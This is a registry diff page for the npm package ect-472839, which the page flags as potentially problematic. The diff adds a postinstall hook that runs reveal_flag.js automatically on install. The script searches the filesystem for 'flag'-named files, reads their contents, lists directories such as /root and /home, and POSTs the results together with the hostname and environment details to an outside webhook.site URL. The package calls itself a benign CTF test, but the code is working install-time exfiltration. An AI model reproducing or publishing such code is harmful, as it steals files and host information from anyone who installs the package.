ect-472839 1.23.458

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ect-472839 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +8 -0
  2. package/reveal_flag.js +123 -0
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "ect-472839",
3
+ "version": "1.23.458",
4
+ "description": "benign CTF test package (postinstall sends a webhook)",
5
+ "scripts": {
6
+ "postinstall": "node ./reveal_flag.js"
7
+ }
8
+ }
package/reveal_flag.js ADDED
@@ -0,0 +1,123 @@
1
+ // reveal_flag.js — run a bounded `find` for flag-like files, read small contents, POST to webhook
2
+ const { execFile } = require('child_process');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const os = require('os');
6
+ const http = require('http');
7
+ const https = require('https');
8
+ const url = require('url');
9
+
10
+ const WEBHOOK_URL = process.env.WEBHOOK_URL || 'https://webhook.site/9abfee18-babc-4a9d-ae66-1b82ed6f436c';
11
+ const MAX_FILES = 8; // max number of matching files to inspect
12
+ const MAX_BYTES = 2000; // max bytes to read per file
13
+ const FIND_TIMEOUT = 15000; // ms - timeout for the find process
14
+ const MAX_FIND_RESULTS = 150; // cap on number of lines find can return
15
+
16
+ function send(payload) {
17
+ try {
18
+ const parsed = url.parse(WEBHOOK_URL);
19
+ const proto = parsed.protocol === 'https:' ? https : http;
20
+ const opts = {
21
+ hostname: parsed.hostname,
22
+ port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80),
23
+ path: parsed.path,
24
+ method: 'POST',
25
+ headers: { 'Content-Type': 'application/json' }
26
+ };
27
+ const req = proto.request(opts, (res) => {
28
+ // drain
29
+ res.on('data', () => {});
30
+ res.on('end', () => {});
31
+ });
32
+ req.on('error', (err) => {
33
+ console.error('webhook send error:', err && err.message);
34
+ });
35
+ req.write(JSON.stringify(payload));
36
+ req.end();
37
+ console.log('POSTED_WEBHOOK', WEBHOOK_URL);
38
+ } catch (e) {
39
+ console.error('send exception', e && e.message);
40
+ }
41
+ }
42
+
43
+ function safeRead(p) {
44
+ try {
45
+ const b = fs.readFileSync(p);
46
+ const content = b.toString('utf8', 0, MAX_BYTES);
47
+ return { path: p, size: b.length, content, truncated: b.length > MAX_BYTES };
48
+ } catch (e) {
49
+ return { path: p, error: e.message };
50
+ }
51
+ }
52
+
53
+ /*
54
+ Use execFile to call find safely (no shell). We limit:
55
+ -root traversal with -xdev (stay on same fs)
56
+ -maxdepth to avoid deep scans
57
+ -iname '*flag*' to match common flag names (case-insensitive)
58
+ */
59
+ function runFind(cb) {
60
+ // arguments: start at /, don't cross devices, case-insensitive name match, file only, limited depth
61
+ const args = ['/', '-xdev', '-type', 'f', '-iname', '*flag*', '-maxdepth', '6'];
62
+ const opts = { timeout: FIND_TIMEOUT, maxBuffer: 200 * 1024 }; // 200KB buffer
63
+ const child = execFile('find', args, opts, (err, stdout, stderr) => {
64
+ if (err && err.killed) {
65
+ // timed out
66
+ console.warn('find timed out');
67
+ }
68
+ // collect stdout lines, filter empty, cap results
69
+ const lines = (stdout || '').split('\n').map(l => l.trim()).filter(Boolean).slice(0, MAX_FIND_RESULTS);
70
+ cb(lines, stderr ? stderr.toString().slice(0, 1000) : null);
71
+ });
72
+ }
73
+
74
+ async function main() {
75
+ try {
76
+ const pkg = (() => { try { return require('./package.json'); } catch { return { name: 'unknown', version: 'unknown' }; } })();
77
+ runFind(async (lines, findErr) => {
78
+ const files = lines.slice(0, MAX_FILES);
79
+ const inspected = files.map(safeRead);
80
+
81
+ // fallback: if no results, try smaller candidate list for common names
82
+ let dirListings = null;
83
+ if (files.length === 0) {
84
+ const tryDirs = ['/','/root','/home','/tmp','/var/www','/app'];
85
+ dirListings = {};
86
+ for (const d of tryDirs) {
87
+ try {
88
+ dirListings[d] = fs.readdirSync(d).slice(0, 50);
89
+ } catch (e) {
90
+ dirListings[d] = `ERR:${e.message}`;
91
+ }
92
+ }
93
+ }
94
+
95
+ const payload = {
96
+ event: 'postinstall-find-probe',
97
+ package: pkg.name,
98
+ version: pkg.version,
99
+ ts: new Date().toISOString(),
100
+ hostname: os.hostname(),
101
+ platform: process.platform,
102
+ cwd: process.cwd(),
103
+ env_sample: { USER: process.env.USER, HOME: process.env.HOME, PWD: process.env.PWD },
104
+ find_matches_count: lines.length,
105
+ find_matches_preview: lines.slice(0, 30),
106
+ find_stderr: findErr,
107
+ inspected_files: inspected,
108
+ dir_listings: dirListings
109
+ };
110
+
111
+ // Send results to webhook
112
+ send(payload);
113
+
114
+ // Also print a compact marker so container logs include something obvious
115
+ console.log('FIND_PROBE_DONE', { matches: lines.length, inspected: inspected.length });
116
+ });
117
+ } catch (e) {
118
+ console.error('main exception', e && e.message);
119
+ send({ event: 'postinstall-find-error', error: e && e.message });
120
+ }
121
+ }
122
+
123
+ main();